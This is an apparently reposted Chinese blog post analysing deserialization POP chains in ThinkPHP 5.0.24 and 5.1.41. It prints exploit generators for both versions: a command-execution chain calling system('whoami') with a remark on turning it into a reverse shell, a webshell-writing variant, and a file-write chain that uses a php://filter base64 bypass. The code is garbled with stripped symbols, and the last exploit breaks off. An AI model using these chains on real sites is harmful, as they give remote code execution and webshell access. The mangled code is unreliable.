php发展

首页 » 常识 » 诊断 » 浅谈ThinkPH50和51的反序列
TUhjnbcbe - 2023/4/17 8:10:00
共抗白癜风 http://m.39.net/pf/a_5779521.html

前言

本文将总结分析ThinkPHP5.0和5.1中的反序列化利用链,一方面以备不时之需,另一方面算是对php反序列化的深入学习。

其中TP5.0的利用链会复杂很多,所以本文会先介绍TP5.1的利用链。本文主要分析的代码是ThinkPHP5.0.24和ThinkPHP5.1.41,分别是ThinkPHP5.0和5.1的最终版本

代码分析

该条pop链入口在think\process\pipes\Windows类中,利用__destruct()触发

在file_exists($filename)时,可触发__toString()魔术方法,从而可以跳入下一个文件

//    thinkphp/library/think/process/pipes/Windows.phpclassWindowsextendsPipes{  private$files=[];publicfunction__destruct(){$this-close();$this-removeFiles();}privatefunctionremoveFiles(){foreach($this-filesas$filename){if(file_exists($filename)){

unlink($filename);}}$this-files=[];}}

寻找__toString()的跳板找到了think\model\concern\Conversion类,其中找到了__toStringtoJson()toArray()getAttr()$closure($value,$this-data)的利用链

//    thinkphp/library/think/model/concern/Conversion.phptraitConversion{    publicfunction__toString(){return$this-toJson();}  publicfunctiontoJson($options=JSON_UNESCAPED_UNICODE){returnjson_encode($this-toArray(),$options);}  publicfunctiontoArray(){  $hasVisible=false;  $data=array_merge($this-data,$this-relation);  foreach($dataas$key=$val){  ……}elseif(!isset($this-hidden[$key])!$hasVisible){$item[$key]=$this-getAttr($key);}}    ……}publicfunctiongetAttr($name,$item=null){try{$value=$this-getData($name);}catch(InvalidArgumentException$e){……}  $fieldName=Loader::parseName($name);  if(isset($this-withAttr[$fieldName])){  $closure=$this-withAttr[$fieldName];$value=$closure($value,$this-data);}  ……}

该条pop链很简单,其实主要就是涉及这两个文件,但Conversion是一个trait,不能被实例化,所以我们需要找到一个use该trait的类。然后找到了think\Model类,但这是一个抽象类也不能被实例化,我们可以寻找一个继承该类的

//  thinkphp/library/think/Model.phpnamespacethink;abstractclassModelimplements\JsonSerializable,\ArrayAccess{  usemodel\concern\Conversion;

最终找到了think\model\Privot类

namespacethink\model;classPivotextendsModel

1、份很多已经买不到的绝版电子书2、30G安全大厂内部的视频资料3、份src文档4、常见安全面试题5、ctf大赛经典题目解析6、全套工具包7、应急响应笔记8、网络安全学习路线

exp构造

上面弄清了这条POP链的头尾,头是__destruct(),尾是$closure($value,$this-data),然后细心去构造一波

命令执行

该条pop链最好构造的就是命令执行,可以忽略$this-data参数,poc如下

最终执行的是$function($parameter,$this-data)

$this-data是多余的参数,在php中多余的参数会被函数忽略

?phpnamespacethink{abstractclassModel{private$withAttr=[];private$data=[];publicfunction__construct($function,$parameter){$this-data[smi1e]=$parameter;$this-withAttr[smi1e]=$function;}}}namespacethink\model{usethink\Model;classPivotextendsModel{}}namespacethink\process\pipes{usethink\model\Pivot;classWindows{private$files=[];publicfunction__construct($function,$parameter){$this-files=[newPivot($function,$parameter)];}}$function=system;$parameter=whoami;$aaa=newWindows($function,$parameter);echobase64_encode(serialize($aaa));}

其中smi1e应该是最早发现此链作者的名称,respect!利用命令执行反弹shell感觉是一个不错的利用方式

写入文件

可能我们更习惯写入webshell,使用file_putcontens将会涉及到两个参数,上面多余的this-data参数就有了作用,如下多添加一个`thisdata参数就有了作用,如下多添加一个‘this-data[‘jelly’]`的值将会被写入到1.php中

abstractclassModel{private$withAttr=[];private$data=[];publicfunction__construct(){$this-data[smi1e]=1.php;$this-data[jelly]=?phpphpinfo();?;$this-withAttr[smi1e]=file_put_contents;}}

这里有个需要注意的点,上面exp中smile要小写,在phpggc工具中该参数就大写了导致无法正常工作,因为该条pop链在执行过程中会把键名全部转换为小写后去寻找原来的键名,如果原来的键名是大写则可能找不到对应的键值。

我把该问题提交后,phpggc当天就做了修复,使用最新版phpggc应该就没有这个问题了。

ThinkPHP5.0文件写入pop链·

简述

tp5.0.x目前也有一条pop链,入口和tp5.1的一样,但构造上比较麻烦,所以这里就把tp5.0放在5.1后面了

代码分析

pop链入口

入口依然是Windows类的__destruct()函数,然后借助file_exists()触发__toString()

//  thinkphp/library/think/process/pipes/Windows.phpnamespacethink\process\pipes;usethink\Process;classWindowsextendsPipes{  publicfunction__destruct(){$this-close();$this-removeFiles();}  privatefunctionremoveFiles(){foreach($this-filesas$filename){if(file_exists($filename)){

unlink($filename);}}$this-files=[];}}

新的跳板__call()

可以在think\Model类中找到可利用的__toString()方法

//  thinkphp/library/think/Model.phpnamespacethink;abstractclassModelimplements\JsonSerializable,\ArrayAccess{    publicfunction__toString(){return$this-toJson();}    publicfunctiontoJson($options=JSON_UNESCAPED_UNICODE){returnjson_encode($this-toArray(),$options);}  publicfunctiontoArray(){  //代码太多,放截图中分析    $this-getAttr();}  publicfunctiongetAttr($name){  //代码太多,放截图中分析}}

tp5.0的think\Model类和tp5.1中think\model\concern\Conversion类是差不多的,在tp5.1中**getAttr()**会造成$closure($value,$this-data);的任意代码执行,在tp5.0中就找不到这样的代码了

如上图,$this-$method()这种使用格式,我还差点没弄明白,这个表示调用当前类的$method方法,并不能达到执行任意函数的目的

所以tp5.0中无法利用**getAttr()方法了,回到toArray()**方法,其中有几个地方调用了其他类的方法,利用这一点,我们可以获取到一个__call()方法的跳板。怎么触发这几个方法这里先不管,我们下面先找下是否有可用的__call()跳板

其实并不只这几个地方可以触发__call(),可以深入一些函数再找找,比如我就看到一条pop链深入了上面的$this-getRelationData($modelRelation);方法,然后找到了一处可以触发__call()的地方

其实并不只这几个地方可以触发__call(),可以深入一些函数再找找,比如我就看到一条pop链深入了上面的$this-getRelationData($modelRelation);方法,然后找到了一处可以触发__call()的地方

//  thinkphp/library/think/Model.phppublicfunctiontoArray(){    $value  =$this-getRelationData($modelRelation);}protectedfunctiongetRelationData(Relation$modelRelation){$value=$modelRelation-getRelation();}//  thinkphp/library/think/model/relation/BelongsTo.phppublicfunctiongetRelation($subRelation=,$closure=null){  //  $this-query可控,设置为output类,然后通过removeWhereField触发__call()  $relationModel=$this-query-removeWhereField($this-localKey)……}

文件写入利用点

可以在think\console\Output类中找到__call()的利用点,找到这样一条利用链:__call()=block()=writeln()=write()=$this-handle-write()

//  thinkphp/library/think/console/Output.phpnamespacethink\console;classOutput{  publicfunction__call($method,$args){if(in_array($method,$this-styles)){array_unshift($args,$method);returncall_user_func_array([$this,block],$args);}if($this-handlemethod_exists($this-handle,$method)){returncall_user_func_array([$this-handle,$method],$args);}else{thrownewException(methodnotexists:.__CLASS__.-.$method);}}  protectedfunctionblock($style,$message){$this-writeln("{$style}{$message}/$style");}  publicfunctionwriteln($messages,$type=self::OUTPUT_NORMAL){$this-write($messages,true,$type);}  publicfunctionwrite($messages,$newline=false,$type=self::OUTPUT_NORMAL){$this-handle-write($messages,$newline,$type);}}

最后调用的是$this-handle-write(),恰巧可以在think\session\driver\Memcache类找到可用的write()方法,然后又找到一个$this-handler-set()

//  thinkphp/library/think/session/driver/Memcache.phpnamespacethink\session\driver;classMemcacheextendsSessionHandler{  publicfunctionwrite($sessID,$sessData){return$this-handler-set($this-config[session_name].$sessID,$sessData,0,$this-config[expire]);}}

恰巧又在think\cache\driver\File类找到可利用的set()方法,这里的**file_put_contents()**可以实现写入文件。这里要注意传入set()的参数value固定为true,value固定为true,expire固定为0,可以回溯看一看。所以这里写入文件的内容data并不可控。不过不要灰心,继续往下看,setTagItem()会再次调动set()方法,且传入set()的参数data并不可控。不过不要灰心,继续往下看,setTagItem()会再次调动set()方法,且传入set()的参数value将等于filename,而filename,而filename与options[‘path’]和第一次传入set()的参数$name相关,这是可控的。所以到这里,我们的pop链的尾部才算落实

//  thinkphp/library/think/cache/driver/File.phpnamespacethink\cache\driver;classFileextendsDriver{  publicfunctionset($name,$value,$expire=null){  $filename=$this-getCacheKey($name,true);  $data=serialize($value);  $data="?php\n//".sprintf(%d,$expire)."\nexit();?\n".$data;  $result=file_put_contents($filename,$data);if($result){isset($first)$this-setTagItem($filename);……}}  protectedfunctiongetCacheKey($name,$auto=false){$name=md5($name);$filename=$this-options[path].$name..php;return$filename;}}//  thinkphp/library/think/cache/Driver.phpabstractclassDriver{  protectedfunctionsetTagItem($name){if($this-tag){$key=tag_.md5($this-tag);$this-tag=null;if($this-has($key)){……}else{$value=$name;}$this-set($key,$value,0);}}}

但师傅们很快就发现了问题,写入文件的内容来自文件名,但我们写入shell时总会写入一些特殊的符号,而操作系统对文件名的特殊符号都有限制,所以该条链注定利用方式有限

然后就有人找到了think\cache\driver\Memcached类的set()方法,中间绕一下使其写入内容的变量和文件名的变量分开,代码有点绕,感觉自己不能通过文字说清楚,如果要分析代码还是自己调试最清楚。这里就画了一个简单的流程图梳理一下逻辑,其中pop1是上面分析的,pop2是优化后的

触发__call()

上面的分析我们把pop链的首尾都搞定了,只剩下一个问题,触发__call()这个跳板,这里需要精心构造一下

上面已经说到有4个方法可以触发__call(),但这里仔细看一下,如下代码所示的两个方法,法1$relation是通过getAttr()可以直接new实例化一个对象,如我们利用它实例化Output类,但Output类的构造函数比较有限,会导致我们无法控制Output类的一些关键属性,而我们在构造pop链代码时,是可以直接控制整个对象的属性,而new一个对象只能借助构造函数。我一开始以为通过new实例化Output类后就好利用了,忽略了这一点,不知道其他人会踩我这个坑不

而法2中modelRelation可以通过pop链代码构造一个完全可控的Output类的对象,可这里modelRelation可以通过pop链代码构造一个完全可控的Output类的对象,可这里modelRelation-getBindAttr()触发__call()时会没有参数传入,所以法2也没法利用

#法1$relation=$this-getAttr($key);$item[$key]=$relation-append($name)-toArray();functiongetAttr(){$value=new$type($value);return$value;}#法2$modelRelation=$this-$relation();$bindAttr=$modelRelation-getBindAttr();

然后还剩下两种方法可以触发__call()。为了避免此文篇幅过于冗长,详细触发__call()的方式见参考和exp自己分析即可,这里只分析其它文章没有分析到的

坑点总结

该条pop链的诞生十分曲折,我这里总结下其中的一些坑点

convert.base64-decode过滤器遇到等号报错的情况

我找到最早的pop链是利用think\session\driver\Memcache类,该条链写入的内容来自可控的文件名,但我们的文件名必须利用php://filter/过滤器/resource=文件名来绕过exit,这里的写入内容必定会有等号,会导致convert.base64-decode过滤器报错无法使用

base64编码后,等号只能在字符串末尾

所以早期该pop链便使用string.rot13过滤器,exp为?cuccucvasb();?即phpinfo(),生成的内容如下图:

在访问时一定要把文件名中的问号做url编码

该poc就有一些明显问题,windows中无法生成含有,?等字符文件名的文件,导致该poc只能在linux上使用。而且文件内容中的?cuc部分,可能会使php识别为不符合语法规则的php代码,导致报错退出执行

后面就有师傅提出了利用convert.iconv.*过滤器解决问题,具体见参考分析

最后我就找到了今年发的文章,在最后写入文件时,找到了think\cache\driver\Memcached,把文件名和内容依靠的变量分开

exp构造

最终将会执行:file_put_contents($path,$data);

其中$path最好就固定为下面所示的过滤器,且读取目录是当前目录,目的是为了让文件名固定

data是写入文件的内容,需要base64编码,这里只需要检查编码后的内容是否存在等号,尽量构造一个无等号的data是写入文件的内容,需要base64编码,这里只需要检查编码后的内容是否存在等号,尽量构造一个无等号的data

该pop链上传的文件名将会固定

?phpnamespacethink\process\pipes{usethink\model\Pivot;usethink\cache\driver\Memcached;classWindows{private$files=[];publicfunction__construct($path,$data){$this-files=[newPivot($path,$data)];}}$data=base64_encode(?phpphpinfo();?);echo"tp5.0.24writefilepopChain\n";echo"The=cannotexistinthedata,pleasecheck:".$data."\n";$path=php://filter/convert.base64-decode/resource=./;$aaa=newWindows($path,$data);echobase64_encode(serialize($aaa));echo"\n";echofilename:.md5(tag_.md5(true))..php;}namespacethink{abstractclassModel{}}namespacethink\model{usethink\Model;classPivotextendsModel{protected$append=[];protected$error;public$parent;publicfunction__construct($path,$data){$this-append[jelly]=getError;$this-error=newrelation\BelongsTo($path,$data);$this-parent=new\think\console\Output($path,$data);}}abstractclassRelation{}}namespacethink\model\relation{usethink\db\Query;usethink\model\Relation;abstractclassOneToOneextendsRelation{}classBelongsToextendsOneToOne{protected$selfRelation;protected$query;protected$bindAttr=[];publicfunction__construct($path,$data){$this-selfRelation=false;$this-query=newQuery($path,$data);$this-bindAttr=[a.$data];}}}namespacethink\db{usethink\console\Output;classQuery{protected$model;publicfunction__construct($path,$data){$this-model=newOutput($path,$data);}}}namespacethink\console{usethink\session\driver\Memcache;classOutput{protected$styles=[];private$handle;publicfunction__construct($path,$data){$this-styles=[getAttr];$this-handle=newMemcache($path,$data);}}}namespacethink\session\driver{usethink\cache\driver\File;usethink\cache\driver\Memcached;classMemcache{protected$handler=null;protected$config=[expire=,session_name=,];publicfunction__construct($path,$data){$this-handler=newMemcached($path,$data);}}}namespacethink\cache\driver{classMemcached{protected$handler;protected$tag;protected$options=[];publicfunction__construct($path,$data){$this-options=[prefix=];$this-handler=newFile($path,$data);$this-tag=true;}}}namespacethink\cache\driver{classFile{protected$options=[];protected$tag;publicfunction__construct($path,$data){$this-tag=false;$this-options=[expire=0,cache_subdir=false,prefix=,path=$path,data_

1
查看完整版本: 浅谈ThinkPH50和51的反序列